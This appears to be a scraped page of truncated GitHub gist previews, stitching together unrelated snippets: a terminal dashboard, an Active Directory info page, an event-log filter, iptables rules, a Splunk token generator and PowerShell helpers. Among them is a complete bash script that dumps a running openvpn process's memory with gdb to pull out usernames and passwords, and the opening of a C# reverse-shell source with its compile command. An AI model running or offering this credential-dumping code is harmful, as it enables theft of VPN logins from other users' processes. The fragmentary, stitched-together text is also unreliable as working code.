This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var blessed = require('blessed'); | |
| var contrib = require('blessed-contrib'); | |
| var screen = blessed.screen(); | |
| var request = require("request"); | |
| // You need to install dependencies: | |
| // npm install blessed blessed-contrib | |
| // Constants |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <script Language = JavaScript> | |
| //----------------------------------------------------------------------------------------------- | |
| // adSiteInfo.js | |
| // | |
| //----------------------------------------------------------------------------------------------- | |
| var objADSysInfo = new ActiveXObject("ADSystemInfo"); | |
| var objNetwork = new ActiveXObject("WScript.Network"); | |
| var objRootDSE = null; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $eventLogCollector= 'MYSERVER' | |
| #XML Filter for Get-WinEvent | |
| $eventFilter = @" | |
| <QueryList> | |
| <Query Id="0" Path="ForwardedEvents"> | |
| <Select Path="ForwardedEvents">*[System[(EventID=4624 or EventID=4800 or EventID=4801 or EventID=4634)]]</Select> | |
| </Query> | |
| </QueryList> | |
| "@ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ADD RULE with PORT and IPADDRESS | |
| sudo iptables -A INPUT -p tcp -m tcp --dport port_number -s ip_address -j ACCEPT | |
| ADD RULE for PORT on all addresses | |
| sudo iptables -A INPUT -p tcp -m tcp --dport port_number --sport 1024:65535 -j ACCEPT | |
| DROP IPADRESS | |
| sudo iptables -I INPUT -s x.x.x.x -j DROP | |
| VIEW IPTABLES with rule numbers |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #creates A LOT of tokens | |
| #!/bin/bash | |
| for i in `seq 1 100000`; | |
| do | |
| stanza="[http://test$i]" | |
| printf '\n\n%s\n' $stanza >> inputs.conf | |
| printf 'disabled = 0\n' >> inputs.conf | |
| guid=`uuidgen` | |
| printf 'token = %s' $guid >> inputs.conf | |
| done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Net; | |
| using System.Configuration.Install; | |
| using System.Runtime.InteropServices; | |
| /* | |
| Author: Casey Smith, Twitter: @subTee | |
| License: BSD 3-Clause | |
| Step One: | |
| C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:revshell.exe rev_http.cs |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # This little hack-job will grab credentials from a running openvpn process in Linux | |
| # Keep in mind this won't work if the user used the --auth-nocache flag | |
| grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done | |
| echo "Your credentials should be listed below as username/password" | |
| strings *.dump | grep -B2 KnOQ | grep -v KnOQ | |
| rm *.dump --force |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Requires -Version 5.0.9814.0 | |
| if(!($PSVersionTable.PSVersion.Major -ge 5 -and $PSVersionTable.PSVersion.Build -ge 9814)) { | |
| "Sorry you need PSVersion 5.0.9814.0 or newer" | |
| $psversiontable | |
| return | |
| } | |
| Add-Type -AssemblyName presentationframework |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.IO; | |
| using System.Net; | |
| using System.Text; | |
| using System.IO.Compression; | |
| using System.Collections.Generic; | |
| using System.Configuration.Install; | |
| using System.Runtime.InteropServices; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Get-ExcelColumnName { | |
| param( | |
| [Parameter(ValueFromPipeline=$true)] | |
| $columnNumber=1 | |
| ) | |
| Process { | |
| $dividend = $columnNumber | |
| $columnName = @() | |
| while($dividend -gt 0) { |